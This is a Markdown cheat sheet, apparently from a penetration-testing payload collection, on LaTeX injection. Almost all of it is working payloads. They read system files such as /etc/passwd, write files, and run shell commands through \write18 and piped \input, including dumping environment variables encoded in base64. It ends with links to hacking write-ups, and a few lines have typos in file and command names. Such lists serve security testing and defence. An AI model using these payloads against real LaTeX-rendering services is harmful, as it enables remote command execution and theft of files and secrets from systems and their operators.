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73 lines
1.3 KiB
Markdown
73 lines
1.3 KiB
Markdown
# LaTex Injection
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## Read file
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```bash
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\input{/etc/passwd}
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\include{password} # load .tex file
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```
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Read single lined file
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```bash
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\newread\file
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\openin\file=/etc/issue
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\read\file to\line
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\text{\line}
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\closein\file
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```
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Read multiple lined file
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```bash
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\newread\file
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\openin\file=/etc/passwd
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\loop\unless\ifeof\file
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\read\file to\fileline
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\text{\fileline}
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\repeat
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\closein\file
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```
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Read text file, keep the formatting
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```bash
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\usepackage{verbatim}
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\verbatiminput{/etc/passwd}
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```
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## Write file
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```bash
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\newwrite\outfile
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\openout\outfile=cmd.tex
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\write\outfile{Hello-world}
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\closeout\outfile
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```
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## Command execution
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The input of the command will be redirected to stdin, use a temp file to get it.
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```bash
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\immediate\write18{env > output}
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\input{output}
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```
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If you get any LaTex error, consider using base64 to get the result without bad characters
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```bash
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\immediate\write18{env | base64 > test.tex}
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\input{text.tex}
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```
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```bash
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\input|ls|base4
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\input{|"/bin/hostname"}
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```
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## References
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* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
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* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
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* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) |